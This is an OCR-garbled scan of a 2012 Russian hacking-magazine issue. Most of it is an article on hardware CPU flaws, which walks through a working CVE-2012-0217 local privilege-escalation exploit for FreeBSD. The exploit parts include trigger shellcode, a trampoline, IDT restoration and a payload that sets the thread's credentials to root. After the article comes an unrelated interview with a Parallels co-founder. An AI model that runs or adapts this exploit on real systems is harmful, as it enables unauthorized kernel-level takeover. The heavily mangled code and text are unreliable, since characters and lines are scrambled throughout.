а9 l1b1,1 2012


Железный дуршлаг

3.

4. 5.

Код будетобработан центральным микропроцессор��м или конкретным контроллером lB режиме DMA), для которого предназначалась пOрция данных, дOставленная рассматриваемым пакетом, В итоге имеем порабощенную машину.

PROFlT!

еоо

lbash -

:]

полного понимания сути вещей рассмотрим основные этапы выявления и эксплуатации уязвимостей в железе. 'l. Анализ-анализ оборудования на предметвыявления ошибок и уязвимостей. Существуетдва типа анализа-статический loH

,Щля

же реверс-инжиниринг, достаточнотрудоемкий]

2.

3.

и

динамический

("dummy> и шаблонный фаззинг]. В первую очередьты должен з н ать базо вую м атча сть (см. ссылки], это поможет те бе дости ч ь понимания, что именно необходимо анализировать, Современные микропроцессоры имеют свои слабые места, к основным из них стоитотнести блоки декодирования СlSС-микрокоманд в RlSCкоманды, обработчики исключений, блоки состояний,

Проверка полученныхданных- на этом этапе полученные данные начинаютобрабатываться, проводится отбор <эксплуатабельных> ошибок, то есть потенциальных уязвимостей lищи исходники на нашем DVD-файл sгс/соге2duо_егrаtа]. Написание РоС [в перспективе-боевого эксплойтаl-создание

наглядно демонстрирующего ошибку Ргооf-оf -Сопсерt эксплойта,

Это может помочьдругим исследователям и разработчикам разо-

браться в проблеме, используя собственный подход. Сценарии эксплуатации уязвимостей практически не отличаются отсофтверн ых:

al

бl Bl

Local рriчilеgее5саlаtiоп-локальное повышение привилегий. Сюда же можно отнести jаilЬгеаk'и и выполнение кода в

Примеры работы

в

отладчике GDB

riпg 0;

Rеmоtеехрlоitаtiоп-удаленный

захватуправления; Очень эффективно применятьданного рода эксплойты против аппаратных файрDепiаl of

sеrчiсе-отказ в обслуживании.

вOлOв.

al

уязвиtlоститипа(переполнениебуфераD.Пример:Хегох

Wогkсепtег4150 Remote Buf fегOчегflоw РоС (bit, ч/NLСZчг]. Уязвимостьзаключается в неправильной обработке одного из параметров lLANGUAGEl при создании задачи печати;

бl зачrитыепароли,ключиtсофтверныйбэкдорl.Пример:

F5

BlG-lP Remote Root Authentication BypassVulneгability 0-day

Уязвимости

-

железе можно разделить на два подкласса псевдOаппаратные и аппаратные. 1. Псевдоаппаратныеуязвиi{ости.Ихбольшинство, иимикишат публичные базы эксплойтов lexploit-db, 1ЗЗ7dау, раздел hагdwаге). Многие выдают их за аппаратные. На самом деле они являются псевдOаппаратными, потомучто эксплуатируютошибку не в самом оборудовании, а в прошивке/драйвере/СRМ lсистемеуправления, в

котора я может быть п редста влена в виде веб - пан ел и, SSH. Теl пеt или другого протокола передачи информации и управленияl.

Пример псевдоаппаратныхуязвимостей, информация о которых хранится в базе exploit-db, представлен на иллюстрации. Их несл ожно кл ассифи ци ро вать по ти пу уязв и м осте й:

(bit.lylKS2DPR]. уязвимость заключается

в

использовании

итого в си стему SSH - кл юча. обл адая котор может получитьдоступ к целевой системе.

за ш

ым

ата кую щи й

в| Уязвиl.tости ве6-приложений [50Li, XSs,

CSRF, LFl, RFl, Auth Bypass итакдалееl Пример: Huawei HG866 Authentication Bypass {bit,lvlM gHJsm], Уязвимость заключается втом, что не все скрипты проверяют наличие валидной сессии в куках, что пOзвOляетсменить парOльадминистратора.

2. Аппаратныеуязвиi{ости-это р0 ва

н и е

м

а п па

ратн

ы х

схем.

уязвимости, связанные

с

проекти-

При проектировании процессорных микросхем и болееменее слOжных микрOкOнтрOллерOв, равно как и при создании сложного программного обеспечения, могут возникнуть различного рода ошибки. Часть из них могут стать потенциальными уязвимOстями, кOторые создают <дыры> в железе, Если дыр станOвится чересчур мнOго, т0 такOе железо делается похожим на дуршлаг. Так случилось с продукцией компании lпtеl в начале 90-х, когда ошибки в CPU этого производителя гребли лопатой. Это нормально для компании с небольшим штатом специалистов и 0тсутствием тестирования. По мере роста кOмпании lntel в ее сOставе начинают пOявляться 0тделы тестирования, отладки микропроцессорных схем. В конечном итоге иN,4енно благодаря им количество уязвимостей сводят практически к нулю. Спустя некOторое время, а именно в начале 2006 года, для процессоров серии lntel Соге2Duо/Sоlо выходит неофициальная еггаtа (свод ошибок], подготовленная парнями с сайта geek,com. Примерно через два месяца (заметь, какой срок, и это еще не предел) после выхода неофициального свода ошибок lntel нехотя признает их


covERsTORY

п Перед нами

и вносит в официальную еггаt'у. Ну баги как баги, ничего приможно подумать на первый взгляд. И ошибиться мечательного

интерес

0-day уязвимость в процессорах lntel, а именно наших дней, который был отмечен Рафалем Войчуком lRafal Woltczuk) со статусом Сгitiсаl. По иронии судьбы, уязвимость была исправлена в Linux еще в далеком 2006-м [многие ее знают как CVE-2006-0744), но тогда мало кто обратил на нее внимание, а lntel в очередной раз отмахнулась. присвоив авторство данной уязвимости разработчикам ядра Линукс. Как ты понял, основной плюс данной уязвимости в том, что она, являясь хардварной, позволяет пробить большинство из существующих 0С {FгееВSD. NetBSD, Sоlагis, Windows} и систем виртуализации IXEN, KVM). В Linux она появилась в виде репорта от компании Red Hat IRHSA2012:07 20 -1, R HSA-20 1 2:0721 -1 ]. П ричина возн и кновен ия данной уязвимости в том, что lпtеl'овский микропроцессор некорректно хэндлит канонический адрес до переключения в непривилегигЗ]. В АМD-процессорах данная операция рованный режим (r0 выполняется с точностью до наоборот: сначала микропроцессор переключает код в непривилегированный режим (г3} и только после этого вызывает #GP. Таким образом, при установке пользователем указателя инструкций RlP неканонического вида процессор вызывает обработчик ошибки, который, будучи еще в гiпg 0, запустится с выбранными пользователем значениями регистров

представляли баги, которые несли в себе потен циал ьную уязви мость lДЕ1 l2l l 5 l Ы 9 l 12 l 1З l 1 б l 17 l 18l 20 l21 l З0]. В тот момент многие не обратили внимания на это событие, за исключением нескольких исследователей, одним из которых был Тео де Раадт (Theo de Raadt]. В своих докладах он предупреждал 0 вOзмOжных последствиях, к кOтOрым мOгут привести найденные ошибки в Соге2Dчо. Многие эксперты по ИБ посчитали его высказывания паранOидальными и кOмичными, пOсмеялись... и досмеялись:}, В середине 2007 года в Сети появляется информация о боте нового поколения с руткит-функционалом для промышленного шпионажа (Stuxnet, обломисьl, автором которого являлась некая Sеlепа, представительница китайского андеграунда, flля распространения бот использовал один из уникальных эксплойтов, который. впервые в мировой практике, эксплуатировал <железную> уязвимость, а именно баг в контроллере кеша Соге2Dчо, являвшегося на тот момент популярным решением для многих серверных систем [этот проц обеспечивал великолепное соотношение цена/производительность]. Позднее, в 2008 году, Крис Касперски решает реконструировать эксплойтдля данной уязвимости. В качестве примера он использует сэмпл руткита, полученный у той самой Sеlепа, но извлечь сам эксплойт из тела руткита ему так и не удалось. На конференцию НlТВ2008 он привез <выдранную> реверс-инжинирингOм специальн0 скOнструированную виртуальную машину (VM) и Vlr/-байткод зксплойта. Задачей эксплойта было локальное повышение привилегий для руткита, в теле которого он и располагался. Если пораскинуть мозгами, то отреверсенный эксплойт Криса можно без особых усилий трансформировать из локального в удаленный {метод lосаl2геmоtе]. В зависимости от целей эксплуатации вь деляют два пути трансформации: :).0собый

1,

-

%gs и %rsр, Я надеюсь, ты уловил суть баги. flавай рассмотрим технику эксплуатации на практике написания сплоита для FгееВSD. В процессе ее реализации нужн0 выпOлнить следующие шаги: 'l. Выбор способа отладки ядра, настройка отладчика (отладка отладке рознь ввиду кардинальных различий в виртуальных машинах],

2. 3.

с внедренным кодом эксплойта на популярном скриптовом языке (JS, Java, АSЗ). Ка к ты по нял, для экс плуатаци и уяз в и м ости н е-

2.

н и

Сборповерхностнойинформацииобуязвимости по структурам и объектам ядра, Соблюдение правил эксплуатирования подобного

. .

рода уязвимостей:

1. elf-remote эксплойт- представляетсобой НТМL-страничку обходи мо будет за влеч ь п ол ьзо вателя на эту стра

-

цу :]. В ход

4.

может идти все, начиная с социальной инженерии и заканчивая веб-шеллом на популярном сайте; программа, пось]лающая fчll-rеmоtеэксплойт-stапd-аlопе

.

ядродолжноработатькорректно, иначесистемауйдетвдаун; необходимокорректновосстановитьстраницуисключения ошибок [gепегаl page fault exception-#GP];

необходимоповыситьпривилегииивыполнитькодвriпg0.

Программная реализация эксплойта,

Поехалиl Первым делом для этих целей необходимо настрослOжн0 чтO-т0 делать, кOгда твOя клавиатура ить виртуалку мигает под ритмичную музыку kегпеl рапiс :]. Лично мой выбор пал на VМwаге из-за дружелюбного интерфейса отладки гостевой 0С. В качестве основной 0С (на которой проходила отладка) и гостевой (0С для тестов) была выбрана стабильная версия FгееВSD 9,0, Настройка виртуальной машины проста до безоб-

специально сформированный ТСР/lР-пакет компьютеружертвы. Каждый из рассмотренных путей имеет свои плюсы и минусы. Мне показалось, что провести трансформацию по первому методу будет наиболее выгодным и наглядным для тебя. Предлагаю тебе 0знакOмиться с заранее пOдгOтовленным сплOитOм, реализOванным на JS, ты можешь найти е��о на нашем диске (sгс/срu bug_src).

разия:

I Вся информация

сАснЕ POISONING для прOцЕссOрOв В r"rapTe 201 1 года известная руткитописательница .Щжоанна

Рутковская Uоаппа Rutkowskal опубликовала инфор!tацию об уязвимости в процессорах lntel, позволяющей выполнить произвольный код в режиме SMM с привилегиями большилtи, чем привилегии нулевого кольца lriпg 0l. это специальный SMM lsystem Мапа9еmепt Model малодqкументированный режим работы процессоров lntel, который впервые появился в 386SL. В этом режи},,iе приостанавливается нормальнOе выполнение кOда и специальное П0 lобычно firmwаrе или отладчик с аппаратной поддержкойl выполняется в режи},{е с высоки1.1и привилегиями.

-

предо(тавлена исключительн0 в 0знакомительных

Эксплойты используют кеш процессора для доступа SMM. Из двух к SMRAM - защищенной памяти для режилtа представленных эксплойтов один делает дамп памяти SMRAM, а второй производит выполнение кода в режиме SMM. Потенциальное применение уязви}.lости привело к появлению SММ-руткитов, которые компро!tетировали работу гипервизоров и обходили современные заlлиты 0С на тот момент. Известно, что lntel была осведомлена о данной она исправила ее в iiатеринской плате D045CB, уязвимости, хотя более ранние модели остались уязвимыми, а патча, не появилось по сей к сожалению а может, и к счастью ;l,

целях. Ни редакция, ни автор не несут ответстаенности за любой возtожный вред. причиненный материалайи данной статьи.

-

ден ь.

-

-

хАкЕр

09/]6412012


Железный дуршлаг

u_lопg gеt_sуmаddг(сhаг t

*sуmпаmе)

stnuct kld_sym_].ookup ksym; ksym,veгsion - 5izeof (ksym); ksym.symname = sуmпаmе;

if

(kldsym(O, KLDSYM_LooKUP, &ksym) реггог("k]dsуm");

<

О)

{

exit(1);

}

cvE-2012-0217

в

pгintf("[+] Resolved

%s to %#lx\n",\ ksym. symname, ksym. symvalue); геtUгп kSym. SymvaIue,;

действии

}

Теперь подумаем над тем, как эксплуатировать уязвимость, На самOм деле все прост0:

1. Выделяем страницупамяти переднеканоническимадресом

2.

на

границе 0х0000800000000000.

Вызываем произвольный системный вызов lsyscalll прц п9уо*t,l системнOг0 вызова инструкции, расположенной непосредственн0 передадресом неканонической границы.

Схема зксплуатацхи

Когда обработчик fastsyscalI восстановит регистры пользователя, 0н выпOлнит инструкцию sу5геt и попытается вернуться к <следующей инструкции> в 0х0000800000000000, <забыв> сменить режим гiпg 0 гiпg 3. Соответственно, #GP запускается в режиме ядра. Кроме этого, исключение кадра помещается в стек гiпg З. Таким образом, мы можем перезаписать указатели ядра на тOт адрес, которым можно управлять с гiпg З.

-

1. Создаем новуювиртуальнуюмашинувVМwаге.

2.

0ткрываем конфигурационный файл, созданныйVМ [имеетрасш и

рен ие vmx], и доба вляем сл едующую стро ку:

debugStub.listen. guest64 =

"TRUE''

После чего при запуске созданной VM VМwаге для отладки откроет локальный порт 8864, к которому можно будет спокойно подключиться из любого отладчика, к примеру GDB:

ulnt64_t pagesize = getpagesize(); uint8_t * агеа = (uint8*t*)((1ULL

агеа = mmар(агеа, pagesize,

> sudo > сuг]. >

рогt install gettext gmp llbelf -0 http://ftp.gnu.org/gnu/gdb/gdb-7.4.7.taг.bz2

//

//

> make

> sudo make

l1bl,/ 2о12

"

#getuid

\х48\х89 \хеЗ " mоч rЬх, гsрj сохраним регистры гЗ / / мя последующих действий " \X48\xbc \xbe\xba \xfe\xca \xde\xcO\xad\xde " "

//

// поч гsр,

гееЬsd \

install

рисунок <Примеры работы в отладчике GDB>]. С настройкой отладчика разобрались, приступаем к сбору информации. Во время эксплуатации уязвимости нам понадобится информация [символы], которая располагается в адресном пространстве ядра. Во tгееВSD есть встроенная функция kldsymIJ, кOтOрая пOзвOляет <дOстать> l-tужные нам символы, предоставляемые ядернсiй функцией get_symaddг[).

09

=

\хЬ8\х],8\х0O\х0O\х00

// поч гах, 24;

Ну и наконец, создаем директорию для отладки, к примеру poc_debUg, и копируем туда исходные директории FгееВSD /usг/ sгс и /Ьооt/kегпеl, в которых находятся исходники для отладки (см.

хлкЕр

таким образом, чтобы выполнился наш Syscat1 "

CFLAGS=-IloPt/local/include ./сопfigчге \ ргоgгаm- suffi х=-аmd64-пагсе1 -f - -ta гgеt=аmd64- mагсе1 - fгeebsd

что находится на границе конца страницы

сhаг trig8егсоdе[]

> cd gdb-7.4.1

--Ргеfiх=7qр171",1 r

" ) ;

,// Копируем исполняемый код триггера,

tаг xvjf gdb-7.4.1.tan.bz2

- -

(tnigger)

-]., а);

}

l

>

"mmар

exit(1) j

0тладчик GDB для этих целей также стоит сконфигурировать самOстOятельно для корректного отображения символов отлаживаемOг0 0кружения:

47) - pagesize);

PRoT_READ l PRoT_h|RITE I PRoT_EXEс, MAP*FIXED I MAP_ANoN I MAP_PRIVATE, (аrеа == MAP_FAILED) {

регrоr(

(gdb) taг8et геmоtе localhost:8864

<<

"\xOf\xO5";

oxdeadcOdecafebabe

// syscall

uint8_t * tri8gег_аddг pagёSize

-

= аrеа + \ TRIGGERсoDESIZEj

mеmсру(tпlggег_аddг,

tгl8gеrсоdе, TRIGGERcoDESIzE);

При перезаписи значения целевого регистра RSP существует два схOда:

и

1. Еслизначение регистра RSРнеможетбытьперезаписано,

2.

срабатываетdоUЬlе fault {двойная ошибкаJ, вызванная функцией Xdblfault{l, и кадр исключения ломещается в специальный стек, который закреплен за данного рода исключениями. Во второмслучае#GРвозникаетвХрrоtIl и кадрисключениязаносится вается.

в

регистр RSP, таким образом его значение перезаписы-


cOvERSToRY

ЕрЕд HA},t и уязви ].{ость в процЕссOрАх IшTEL,

п

кРиТичЕскиЙ А и].{Енн0 0-DAY нАших днЕЙ

-

IDTvEc

(

ргоt

subq mоVI movq movq

)

$ТF_ЕRR,%гsр $Т*РROТFLТ,ТF_ТRАРNО(%гSр)

$о,ТF_АDDR(%гsр) %гdi,ТF_RDI(%rsр)

//

0чицаем регистр для GP

//

//

юзермод Gs base г0->гЗ $SEL_RPL_MASK,TF_CS(%rsp) Проверяем, откуда мы пришли

//

Продолжение работы

leaq dогеti_iпеt(%гiр),%гdi cmpq %гdi,ТF_RIР(%rSр) je 1f

Ядро

с

jz

2f

testb

сhаг tгampoli"necode[]

PсPU(cURPcB)J%гdi

Так как мы пришли из ядра [при выполнении инструкции sуsгеt). при проверке testb $SЕL_RРL_МАSК,ТF_СS(%гsр) устанавливается флаг'Z', поэтому по команде jz мы прыгаем на указанную swapgs. Но что, метку 2f, обходя тем самым инструкцию свопа GS если сценарий разворачивается по первому пути? Так как цепь событий GS происходит в GS гiпg З, при доступе к GS:data произойдет вызов ошибки страницы XPage{), Таким образом, цепочка событий fault, double fault, tгiррlе fault и так далее приведет к краху системы. Если включить смекалку, то можно придумать выход из этой ситуации: вернуться в начал0 и вOсстановить значение регистрOв, которые мы перезаписали..Д,алее было бы неплохо, если бы мы могли заменить адрес обработчика ошибки страницы, что позволит выполнить произвольный код, если возникнет исключение #РF. В этом нам поможет метод восстановления структур. Смотрим шлюзы дескрипторов:

-

+О: Тагgеt offset[15:o]

+4: Some stuff +8: Tar8et offsеtLбЗ:З2] +12: Some mоге

Stuff

|

l

-

*(uiпt64_t*)(tгiggег*аddг + 10) = \ (uintбa_t)(((uint8_t*)&sidt()[].4])

в рехиме ядра r0

SWapgS

movq

Когда сработает исключение, микропроцессор зарushит в стек значения ss, гsр, гflаgs, cs, riр, егг. Это иллюстрируют инструкции movl $Т_РROТFLТ,ТF_ТRАРN0[%гsр], movq $0,ТF_АDDR(7огsр}. 0ни пишут в стек рассматриваемые значения. 0сновная проблема в том, что, когда происходит исключение, RSP использует автоматическое выравнивание в 16 байт. Таким образом, существует возможность перезаписать только первые 32-LSB смещения. movl $Т_РROТFLТ,ТF_ТRАРN0(%гsр) Еще одна инструкция пишет от 0 до tf_addг. 0на также использует выравнивание в 16 байт. Надежда на последнюю инструкцию movl $Т_РROТFLТ,ТF_ ТRАРN0(%гsрl. И да! 0на пишет значение T_PROTELT l0x9] в tf_ tгарпо, используя выравнивание в 16 + 8 байт| То, что нам нужно. При помощи этой инструкции мы можем установить в целевые смещения [6З:32] значение 0х9. Если установить значения в RSP lDT['14]+10*8 Iвыравнивание tf_tгарпо с целевой #РF смещением [63:32]], мы можем установить адрес #Рt обработчика на 0x9WWXXYYZZ. Кроме того, значение WWXXYYZZ нам уже заранее известно, так как мы може[4 получить адрес #РF при помощи функции get_symaddг[]. ,Щля того чтобы мы смогли выполнить произвольный код на системе, нужно будет установить трамплинкод на 0x9WWXXYYZZ, который содержит код установки и переход на наш ядерный пэйлоад.

1/

// //

\х48\х89 \xdc " mov гSр, гЬх1 восстанавливаем значение гSрJ если нет больше возмохности использовать г3-стек

//

mov

//

jmр гах

геgistег_t геgiStег_t rе8iStег_t гegisten_t геgiStеr_t геgiStег_t гegisten_t геglstег_t ге8istег_t геýistеr*t

tf_г8,;

tf_г9; tf_гaxj

tf_rbx.; tf_гbp,;

tf_пl0;

negister_t tf_гflags; геgistеп_t tf_гsрj геgistег_t tf_sЪ; };

о2ц

"

\х48 \хЬ8\хЬе\хЬа \xfe\Xc

а

\xde\xcO\xad \xde

гах, 0xdeadcodecafebabe

\xff \хе0

"

".;

|

(Xpage_ptn & 0хFFFFFtFF));

Size_t tгampoline_aIlocsize = pagesize; // В конце обрацаемся к PAGESIZE для распределения /,/ Не хватает места для трамплин-кода? if ((uint8_t*) ( (uint64_t)tnampoline &

-(pagesize-1)) + pagesize TRAI4POLINEcoDE5IzE

)

<

tгаmроliпе

+

tгampoIine_a1locsize

+= pagesize,;

MAP_FIXED I MAP_ANON == MAP*FAILED) {

I MAP_PRIVATE, -1,0)

if (mmap((void+)((uint64_t)tгampoline & -(pagesize-1) ), trampoline_al].ocsize, PROT_READ I PRoT_WRITE l PROT_EXEс, реггог( "mmар (tпаmроliпе)"

{

tf_гdxj tf_гсх;

в г0 gS:base

"

uint8_t * tnampoline = (ulnt8_t*)(ax9oa000000 \

exit(1);

tf*rdi; tf_rS1,;

"

"

И файл include/f гаmе.h:

Stnuct tпарfгаmе

=

\xOf\x01 \xf8 " swapgs; переключаем

Тагgеt Sеlесtог

Тапgеt offsеt[З1:16]

+ 10 + 8);

) ;

}

mеmсру(tпаmроIlпе, tгampolinecode, TRAMPOLINEcoDE5IzE).; *(uint64_t*)(trampoline + 8) = \ ( uint64_t ) kennelmodepayload; Мы разобрались с исполнением произвольного кода, но забыли главное. Сразу же после того, как мы получим заветный shell, ядро вылетит в kегпеl panic. Это произойдет потому, что мы не восстановили структуры ядра после перезаписи. Чтобы этого не произошло, необходимо восстановить структуры в таблице lDT:

.

исключениефрейма#GРперезаписываетшесть64-битныхреги-

.

tf_аddгперезаписывает64-LSВвlDТ[15];

стро в, то есть

п

роисходит переза

п

ись l DT[1 8], l DT[1 7] и l DT[1 6];

хАкЕр

09 л641 2012


Железный дуршлаг

. . .

tf_tгарпо перезаписываетсмещение

[6З:З2] в lDT[14];

регистрRDlперезаписывает64-LSВвlDТ[7];

исключениефрейма#РFперезаписываетlDТ[6], Сказано сделано:

-

lDТ[5]иlDТt4].

StгUct gаtе_dеsсгiрtоп *idt = sidt(); setidt(idt, JDT_oF, Хоfl_рtп, \ SDT_5YSIGT, sEL_KPL, О), // 4 setidt(idt, IDT_BR, Xbnd_ptr, \ SDT_SYSIGT, SEL_KPL, О); // s Setidt(idt, IDT_UD, Xi1l_ptг, \ SDT*SYSIGT, 5EL_KPLJ О); // 6 setidt(idtJ IDT_NMJ Хdпа_рtг, \ SDT_5YSIGTJ SEL_KPL, 0); // 7 setidt(idt, IDT_PFJ Храgе_рtг, \ SDT_SYSIGT, SEL_KPL, о); // 1а setidt(idt, IDт_IчF, Xfpu_ptгJ \

SDT_SYSIGT, setidt(ldt, IDT_Aс, SDT_SYSIGT, setldt(idtJ IDT_MсJ

sEL_KPL, О); 1/ ts

xaIign_ptn, \

sEL_KPL, 0)i // 76 xmchk_ptrJ \ SDT_5YSIGT, sEL_KPL, О), // 17 Setidt(idt, IDT_XF, ххmm_рtгJ \ SDT_SYSIGT, SEL_KPL, о); /1 tв Самое простое, что будет в нашем эксплойте. Единственное, что потребуется, это узнать адреса идентификаторов текуцей учетной записи и изменить их значение на 0 [значение идентификатора для rооt]. Зная, что адрес текущей структуры потока в FгееВSD может быть прочитан с GS:0, можно написать следую-

-

щи й код:

Stгuct thгead *td;

Stгuct uсгеd *cгedj

// Получаем адрес текущей структуры потока asm ("mov %%gs:О, %о" : "=г"(td)); сгеd = td->td_ргос->р_uсгеd;

cned->cn_uid = спеd->сг_пчid = спеd->сr_пgid = а; сгеd->сп_gгоuрs[0] = 0j Ну и наконец, напишем обертку и сам гiпg З шелл-код, который будет использовать инструкцию sуsгеt для выполнения кода в гiпg 0:

asm ("swapgs; sуsгеtq;" :: "c"(shellcode)),; // Восстанавливаем адрес шелл-кода из регистра гсх

void shellcode( t

pгintf("[*] eXit(0);

)

WOOt! WOOt!

!, u got гООt! ;D\n'');

}

Хм... Стоп, а где же сам шелл-код? д его нет:]. Все дело в том, чт0 структура учетных данных пользOвателя распределяется между процессами этого пользователя, Так как мы изменили идентификаторы, порожденный shell будет автоматически наследовать привилегии с идентификатором 0, то есть привилегии суперпользователя гооt [примеры эксплойтов и РоС смотри в sгс/ cVE-20 1 2_ 02 1 7].

возможно, сейчас поиск ошибок в железе

-

это экзотика,

н0, пOверь, придет время. кOгда аппаратные уязвимости войдут в нашу жизнь и будут популяризироваться день ото дня, как и их софтверные братья. Эпидемии "железной> малвари также не за горами, В следующей статье под моим скальпелем ока-

жутся кOнцептуальные релизы на эту тему, Следи за новыми выпусками.

Е

f Р53: ПOЛНOЦЕННАЯ АППАРАТНАЯ уязвимOсть в микрOпрOцЕссOрЕ CELL Вот так новость выдали зарубежные СМИ в конце 20'l0 года. Как ты уже энаешь из предыдуu.lих выпусков J[, первыr,t уязвимость в игровой приставке Play Station скандальной корпорации Spny нашел не кто иной, как GeoHot. На cat,lopl деле большая часть исследований была совершена до GeoHot'a его командой failoveгflOW, откуда он ушел эа rод до свOего 0ткрытия.

Вдоволь начитавшись материалов на сайте fаilочегflOw и в блоге flжордх<а Хотца, я не удовлетворился, ибо

представленная уязвиt{ость носила псевдоаппаратный хара ктер. Годный эксплойт появился в начале марта 20'l'l года, когда хакер под ником DаrkНасkег сообщил о Tol,i, что нашел аппаратную уяз8имOсть в микропрOцессоре производства lBM - Cell ВгоаdЬапd CPU. 0бращение хакера к народу: <Уязвимость в CPU поt,lожет нам подойти на шаг ближе к METLDR. Я решил опубликовать эту информацию, потому что люди имеют право делать, что им хочется, и инфорtиация долlкна быть свободна. Знаю, что за это меня могут засудить. Пусть катится гадкая Sопу к черту! Все это для таких же, как я, хакеров. И я буду бороться за права людей до конца своей жизниD.

хАкЕр

09/164120]2

. каталог

псевдоаппаратных уязвииостей fla

exploit-db.com: hit.lv/ODrkez; . базовая матчасть п0 процессорам: bit.lylM7DsYs: . официальная эррата от lntel: bit.lyltk1,11hq: . детальнOе описание

уязвийости

cvE2012-02'l7 от разработчиков xEN:

bit,lvlKEThRb:

. отличная

презентация хардварной уязвииости в Р5З: bit,lvlhlknsr; . ресурсы, посвяlценные безопасности приставок sопу:

рýьdk{!!ц_рý: !Lr-O!ус.саm;

. atta(king slil1,1 ]i{emoryvia lntel cPU cache Poisoning:

Uit.lylrothK.


cOvERsTORY

Беседовал Степан Ильин

с03дАвАлАсь

кА

PARA Apple, История создания гигантов lT Мiсгоsоft, FасеЬооk - была романтизирована Голливудом и журналистами и сведена к прямой линии между точками А и В. 0днако рассказ о возникновении компании Рагаllеls из уст прямого участника событий показывает, что в реальности для такой линии попросту не хватает букв в алфавите.

мпоступил попал

в },lФТИ. моей базовой кафедрой был Институт физики высоких энергий. Классное место. Находитоя в подмосковном Протвино, и у них есть свой ускоритель частиц [второй, после CERN], свое кольцо, Насколько я понимаю, он до сих пор работает. У них было фантастическое по тем временам обеспечение вычислительной техникой и литературой. КГБ был продвинутой организацией, он обходил все запреты на поставку техники в СССР. Конечно, это все на уровне слухов, но, говорят, они работали со спецслужбами ГДР, которые ходили в ФРГ {пешком, через особую калитку в Берлинской cTeHel, покупали компьютер и несли его обратно. Потом эта техника доставлялась в Советский Я

Со юз.

Я учился и, пря1.1о скажем, заниli{ался всякой полу-

ерундой, как и любой другой студент. Работа была очець простая:'есть ускоритель частиц, есть какие-то датчики, и нужно, чтобы данные с этих датчиков поступали на компьютеры, хранились и обрабатывались.,Щля налаживания процесса как раз требовались специалисты по вы,числительной технике. Поскольку я тогда только учился, меня загружали не самыми важными задачами.

ELS

СТАНИСЛАВ

прOтАсOв

сOOснOвАтЕль и глАвА рАзрАБOтки к0l{пАнии PARALLELS

После института наступило интересное время. Было трудно найти работу, непонятно, как вообще это делать. Ведь когда я получил диплом, на дворе был 199З год- первый или второй

год, когда институтское распределение отменили. Мало какие компании испытывали нужду в специалистах. В научных-то организацияхточно никто не был нужен, а обслуживающий компьютеры персонал тогда почти не требовался, ведь компьютеры стоили очень дорого и потому были редкостью. Тогда купить хороший коltпьютер MolKHo было за 1500-3000 долларов, а зарплата... Скажем, моя первая зарплата после института составляла З0 долларов в месяц. То есть компьютер я мог позволить себе после десяти лет

упорной работы.

CoBepureHHo случайно я прибился к институту при ].lИЭТ

ll.iосковский институт электронной техникиl

в

Зелено-

граде, гле провел около года. Это был полезный опыт. Там я открыл для себя несколько новых тем, о которых раньше не слышал: познакомился с софтом для проектирования микiосхем CAD, увидел живьем НР'шный UNlX, узнал, что вообще существует UNlX, что у него развитая соmmапd line, под него пишут драйверы для устройств, у него такая-то графическая система и так далее.

хлкЕр09

l1b1,1

2012


ФАкты ,

,{iliiТfr xiТfi [fi:.Ё"х,Jf около 20летопыта Автор примерно 0дин из

П ом

в

разработке 50

сооdовiтелей

оrал

Bnco

зАан

п0,

патевтов, кошпании

ш к!мл.а

"ЁЁ ri"1,":i"Jц:#::

н и

й

ý:ffi:'

iil:;, ч:;Ё,Ёfi :,,J"T"':;il,"fr

хдкЕр

09 /1ь4/ 2о12


covERSTORY Я получил неплохой опыт, но потом работа как-то... закончилась. Институт был государственным, а значит, тамошние прOцессы тOже остались со времен Советского Союза. В частности учет рабочего времени. Нельзя было опаздывать и нельзя было уходить раньше. Когда проект закончился, это превратилось в пытку. Методично заставить себя изучать чтолибо, не имея конкретной задачи, могут только фантастически сфокусированные люди. Про таких разве чт0 кин0 снимают. Коrда мотивация пропадает, побочные занятия lB игруlлку поиграть, еще что-то сделатьl тохе очень быстро приедаются. Невозможно сидеть и ничего не делать, почти физически ощущаешь, как тупеешь. Поэтому через гOд, кOгда стал0 сOвсем невынOсим0, я оттуда сбежал. И попал в коttпанию Sчпrisе. в которой уже работал Сергей Белоусов [основатель Рагаllеls, Асгопis, Acumatica, фонда Ruпа прим. редакCapital и позже близкий друг ции). Его я совершенно не знал, туда меня позвал однокурсник. Я пришел как системный администратор, эникейщик, программист.., В то время все было перемешано.

-

-

Череэ год я попал в новое предприятие Белоусова. Тогда ему требовался технический человек в Сингапуре Сергей занимался бизнесом, связанным с поставкой из-за рубежа компьютерных запчастей, мониторов,

-

принтерOв и прOчего. В интересах этой компании я поехал в Сингапур. где и прожил пять лет. Именно там мы с Сергеем пытались заниматься софтверным

бизнесом и впервые удалось что-то действительн0 пOстрOить. Наш первый бизнес. по сути, был в области lТ-аутсорсинга. Мы продавали американским компаниям R&D-услуги российских инженеров.

-

Правда, бизнес у нас был немного странный наши российские инженеры тоже находились в Сингапуре. Причина была проста: в то время мнOгие американские кOмпании пOпросту боялись работать с Россией. Многие до сих пор смотрят оопаской, но тогда боялись откровенно. Американцев сильно напрягало, что два гOсударства не признавали закOны о заlците

интеллектуальной собственности друг друга. Эта проблема не вполне решена и сейчас, но сегодня уже многое сделано, чтобы сблизить закOнOдательства двух стран в этOм вOпрOсе. При работе с российскими инженерами американцы боялись отдавать им код: думали, что, как только они это сделают, в России тотчас появится клон американского продукта. Все копирайты и права для российского суда в то время являлись по большому счету филькиной грамотой. А с сингапурской компанией все охотно рhботали, верили нам, что российские инженеры дOстатOчн0 тOлкOвые, мног0 знают и вообще они даже не инженеры, а скорее ученые [что было правдойl. Вплоть до 1999 года все выглядело хороцtо. Но у нас всегда была идея, что лучше было

028

бы делать свои продукты. Ведь аутсорсинг чем-то похож на body shopping, за исключением того, что непосредственно людей не отправляют в офис заказчика, i,lаксиttуll, за который тогда в Синrапуре

ножно было продать услуги инженера, был где-то 1 2-1 5 тысяч долларов в месяц за человека. Это не так мало, учитывая, что средние зарплаты в России тогда были ниже тысячи дOлларOв, но эт0 и не так мнOг0. Синrапурское правительство не давало прив03ить децJевых инженерOв - визы выдавали, только если мы везли специалистов, которые были дороtке таких же }.{естных. Последних тогда особенно не было, и они стоили дешево, потому что ничего толком не умели. Так что, привозя человека из России, мы должны были платить ему значительно больше, чем местному.

